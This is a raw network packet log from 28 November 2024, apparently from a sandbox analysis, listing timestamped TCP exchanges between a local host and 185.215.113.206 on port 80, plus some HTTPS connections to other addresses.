Nov 28, 2024 06:48:36.742719889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.743227959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.743282080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.743294954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.743433952 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.743433952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.743505955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.744052887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.744126081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.744138002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.744158030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.744246960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.744277000 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.744918108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.744985104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.744996071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.745017052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.745109081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.745136023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.745753050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.745779991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.745819092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.745831966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.745853901 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.745964050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.746009111 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.746161938 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.746613026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.746685028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.746695995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.746732950 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.746818066 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.746905088 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.747503042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.747545958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.747558117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.747575998 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.747646093 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.747684002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.747746944 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.748359919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.748426914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.748440027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.748457909 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.748542070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.748570919 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.748605967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.749200106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.749268055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.749278069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.749300957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.749402046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.749403000 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.749663115 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.750068903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.750134945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.750148058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.750161886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.750263929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.750324011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.750443935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.750955105 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.751039028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.751068115 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.751147032 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.819349051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.819391966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.819403887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.819490910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.819652081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.819689035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.819705963 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.819829941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.820564985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.820604086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.820616007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.820791006 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.820871115 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.821351051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.821423054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.821424961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.821438074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.821490049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.821490049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.821588993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.821602106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.821645021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.822225094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.822287083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.822293997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.822305918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.822340012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.822422981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.822479963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.823080063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.823138952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.823158979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.823172092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.823199987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.823214054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.823273897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.823328972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.824054003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.824110031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.824119091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.824131012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.824155092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.824187994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.824239016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.824285030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.824826956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.824888945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.824901104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.824927092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.824958086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.825014114 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.825071096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.825653076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.825700998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.825715065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.825742960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.856571913 CET	443	49825	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:36.857136965 CET	49825	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:36.857156038 CET	443	49825	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:36.857657909 CET	49825	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:36.857662916 CET	443	49825	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:36.875143051 CET	443	49824	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.875427961 CET	49824	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.875449896 CET	443	49824	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.875777006 CET	443	49824	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.876224041 CET	49824	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.876281977 CET	443	49824	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.876394987 CET	49824	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.903129101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.903198004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.903217077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.903229952 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.903263092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.903295040 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.903422117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.903469086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.903575897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.903613091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.903625965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.903670073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.903744936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.903814077 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.904442072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.904505968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.904520988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.904534101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.904562950 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.904576063 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.904627085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.904690027 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.905229092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.905286074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.905306101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.905348063 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.908473969 CET	443	49827	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:36.908658028 CET	443	49812	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:36.908803940 CET	443	49828	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:36.909214973 CET	49827	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:36.909234047 CET	443	49827	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:36.909396887 CET	49812	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:36.909413099 CET	443	49812	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:36.909827948 CET	49827	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:36.909832954 CET	443	49827	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:36.909976959 CET	49828	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:36.909989119 CET	443	49828	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:36.910084963 CET	49812	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:36.910089970 CET	443	49812	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:36.910438061 CET	49828	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:36.910442114 CET	443	49828	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:36.916769028 CET	49824	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.919334888 CET	443	49824	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.924815893 CET	443	49826	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:36.925398111 CET	49826	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:36.925419092 CET	443	49826	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:36.925950050 CET	49826	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:36.925954103 CET	443	49826	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:36.940256119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.940310955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.940324068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.940371037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.940443039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.940500021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.940635920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.940681934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.940749884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.940762997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.940802097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.941143036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.941199064 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.941206932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.941226959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.941266060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.941287994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.941375971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.941432953 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.941992998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.942044973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.942060947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.942073107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.942109108 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.942240000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.942382097 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.942838907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.942892075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.942925930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.942939043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.942972898 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.943061113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.943106890 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.943701982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.943799973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.943825960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.943842888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.943875074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.943887949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.943902016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.943953991 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.944561958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.944608927 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.944665909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.944679022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.944720984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.944782019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.944837093 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.945440054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.945513010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.945524931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.945583105 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.945647955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.945692062 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.946286917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.946336031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.946365118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.946377993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.946423054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.946481943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.946542025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.947149038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.947190046 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.947225094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.947236061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.947269917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.947282076 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.947369099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.947418928 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.948007107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.948062897 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.948085070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.948096991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.948124886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.948137045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.948201895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.948245049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.948884010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.948951006 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.948973894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.948986053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.949017048 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.949029922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.949095011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.949132919 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.949742079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.949793100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.949815035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.949826002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.949856997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.949948072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.950020075 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.950588942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.950608015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.950737000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.950748920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.950767040 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.950784922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.951457977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.951513052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.951530933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.951543093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.951594114 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.951653957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.951824903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.952325106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.952336073 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:36.952370882 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.952383041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:36.966449976 CET	443	49830	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.966881990 CET	49830	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.966891050 CET	443	49830	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.967849016 CET	443	49830	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.967936039 CET	49830	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.968619108 CET	49830	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:36.968667030 CET	443	49830	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:36.968791962 CET	49830	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:37.010492086 CET	49830	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:37.010497093 CET	443	49830	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:37.016053915 CET	443	49829	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:37.016582012 CET	49829	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:37.016601086 CET	443	49829	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:37.017707109 CET	49829	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:37.017710924 CET	443	49829	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:37.017811060 CET	49829	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:37.017821074 CET	443	49829	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:37.021003008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.021017075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.021028042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.021070957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.021073103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.021080017 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.021111012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.021256924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.021270037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.021282911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.021303892 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.021327019 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.021780014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.021835089 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.021863937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.021876097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.021907091 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.021977901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.022042990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.022666931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.022720098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.022725105 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.022732973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.022794962 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.022861004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.022914886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.023509979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.023564100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.023597002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.023607969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:37.023636103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.023647070 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:37.023713112 CET	80	49750	185.215.113.206	192.168.2.5
